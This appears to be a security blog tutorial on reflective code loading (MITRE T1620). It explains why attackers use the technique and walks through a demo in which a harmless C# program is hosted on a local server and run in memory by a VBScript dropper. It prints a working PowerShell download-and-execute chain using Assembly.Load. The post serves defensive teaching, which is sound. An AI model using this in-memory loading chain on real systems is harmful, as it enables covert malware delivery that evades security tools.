Exploring Defense Evasion through Reflective Code Loading (T1620)

Introduction


Reflective Code Loading, identified as T1620 within the MITRE ATT&CK matrix continues to be a prevalent defense evasion technique frequently encountered during routine threat hunting activities. It notably attains popularity in the context of loading .NET assemblies within the Windows operating system. This technique is often utilized by threat actors of varying skill sets to load numerous amounts of malicious software including, malware, ransomware, and exploits against known software vulnerabilities into the targeted systems memory space.

Why Do Threat Actors Use Reflective Code Loading (T1620)?


Threat actors use Reflective Code Loading due to its evasion capabilities, memory persistence, obfuscation benefits, and flexibility for different scenarios, depending on the target. By leveraging reflective loading, malicious actors can enhance their ability to remain undetected, establish persistence, evade static analysis, and adapt malicious payloads to exploit various vulnerabilities effectively.

Stealth

Reflective Code Loading is incredibly evasive due to the fact that it operates within the memory space of the targeted system. This allows threat actors to load malicious payloads and malware on targeted systems without leaving behind artifacts such as files on disk. This allows threat actors to evade traditional security solutions reliant on filesystem scanning and monitoring.

Persistence

Threat Actors may leverage reflective code injection in order to maintain persistence on targeted systems. By injecting malicious payloads such as malware into legitimate system process or libraries threat actors can ensure that their malicious code can survive reboots or after the application of security measures.

Defeating Static Analysis

In many real-world examples threat actors will deploy obfuscation and encryption to malicious payloads intended for reflective code loading to deter static analysis. With obfuscation and/or encryption the threat actors ensure that security researchers and analysts are unable determine malicious functionalities making it impossible to detect their malicious payloads with signatures. Often times threat actors will employ a combination or layer of obfuscation such as base64 encoding and encryption such as AES encryption to create a headache for threat researchers to analyze.

Flexibility

A strong point of reflective loading is its ability utilize modern programming languages to dynamically load and execute a host of malicious payloads. This ensures considerable flexibility wherein a threat actor could develop various payloads specific to each target’s architecture or security solution. This flexibility allows threat actors to dynamically load malicious software depending on their target in order to increase the probability of a successful attack.

Reflective Code Loading Tutorial: Unleashing the Power of Memory Execution


In order to get hands on to understand this technique I have prepared a concise tutorial to demonstrate the simplicity and efficacy of reflective code loading (T1620) through a series of straightforward steps:

  1. Create a demo C# program

  2. Compile the demo C# program

  3. Use python HTTP server to host a compiled C# program to simulate an external web source

  4. Create a mock dropper file in VBScript, emulating a dropper that utilizes PowerShell in order to download and execute our malicious binary in memory

  5. Execution of the dropper to simulate an infection by means of code reflection

Create a simple C# Program

For the purpose of this demonstration, a minimalistic C# program will be utilized as the sample malicious binary to showcase the process of loading it through code reflection. The execution of this program will result in the instantiation of a basic calculator process. Visual Studio Code is the chosen development environment for this particular demonstration.

Once the program has been written, it can be saved to a file named "malicious-binary.cs" for further reference and execution. Which we will compile in the next step

Compile the Malicious Binary

To compile a ".cs" file, the command line arguments for the .NET framework projects utility binary "csc.exe" can be employed. If using PowerShell, this script can be located in the "Microsoft.NET\Framework64<version>" directory, such as "C:\Windows\Microsoft.NET\Framework64\v4.0.30319". Following this, the command "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\malicious-binary.cs" can be executed. Upon a successful compilation, a file named "malicious-binary.exe" should be generated.

PowerShell Compiling a C# File With csc.exe

Figure 1 - PowerShell Compiling a C# File With csc.exe

Host the Malicious Binary on a Local Web Server

In this step, we aim to simulate the hosting of a malicious binary, which is a commonly employed technique by threat actors to reflectively load binaries into the memory space of the victim. To begin, we need to relocate our compiled executable to the desired hosting directory. Subsequently, we can utilize a utility such as Python's SimpleHTTPServer handler to facilitate the hosting process.

This image shows how to run Python simple http server.

Figure 2 - Running Python's Simple HTTP Server

Important to know that you will need an administrator’s permission to run Python’s HTTP server over port 80.

Creating our Mock VBS Dropper

In this particular step, we will develop a VBScript that enables the execution of our binary through reflection. To accomplish this, we will create a shell object and utilize the Run method to execute PowerShell and .NET commands, which our PowerShell command will download and utilizing reflection load our malicious binary in memory.

Let’s take a closer look to understand what is going on with this PowerShell Command in detail so we can comprehensively understand the functionality and execution process.

In the above command we are the following actions in our PowerShell command:

 1.    $assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest 'http://127.0.0.1/malicious-binary.exe' -UseBasicParsing).Content)
This line downloads a binary file (malicious-binary.exe) from the specified URL (http://127.0.0.1/malicious-binary.exe) using Invoke-WebRequest. We use the parameter -UseBasicParsing to ensure that the response is parsed without the need for a full web browser. The Content property of the downloaded file is then passed to Load method of System.Reflection.Assembly, which loads the assembly into memory.

2.    $null = $assembly.GetTypes() This line retrieves an array of System.Type objects representing the types defined in the loaded assembly. By invoking the GetTypes() method on the $assembly object, we obtain the types present in the assembly.

3.    $method = $assembly.GetType('MaliciousProgram').GetMethod('Main', [System.Reflection.BindingFlags]'Static, Public, NonPublic')
Here, we are obtaining a specific method called Main from a type named MaliciousProgram within the loaded assembly. We can see these important objects in our malicious-binary.cs source code. This line uses the GetType method on the $assembly object to retrieve the System.Type object representing the specified type. Then we call GetMethod the obtained type object, specifying the method name (Main) and the binding flags (Static, Public, NonPublic) to indicate that we want to find a static method named Main that can be accessed from any visibility level. The returned System.Reflection.MethodInfo object is assigned to the variable $method.

4.    $null = $method.Invoke($null, @()) In this line, we invoke the Main method obtained in the previous step. The Invoke method is called on the $method object, passing $null as the instance (since Main is a static method) and an empty array @() as the arguments to the method. This effectively triggers the execution of the Main method, causing it to run any code contained within from memory.

Dropper to Execution

In order to simulate infection, we can simply run our VBScript file utilizing cscript.exe which will open up a hidden PowerShell prompt, download our malicious binary into memory, and then execute. Nice!

This image shows the result of the code reflection to call calculator.exe from memory.

Figure 3 - Executable is Reflectively Loaded in Memory

We can also confirm in our Python HTTP server logs that our malicious binary was indeed retrieved.

This image shows the Python HTTP server request logs

Figure 4 - Python HTTP Server Logs

Conclusion

In conclusion we can see that reflective code loading (T1620) poses a significant threat by enabling evasion, persistence, code injection, dynamic functionality, and exploitation of trusted components. Threat actors of various levels of expertise may utilize this technique to dynamically load malicious software such as malware, ransomware, and software exploits into system memory directly. Furthermore this technique highlights the need for robust security measures and proactive defense strategies to detect and mitigate such attacks.

Previous
Previous

How To Use Windows Package Manager (WinGet) Tool

Next
Next

How To Make HTTP/HTTPS Web Requests in Rust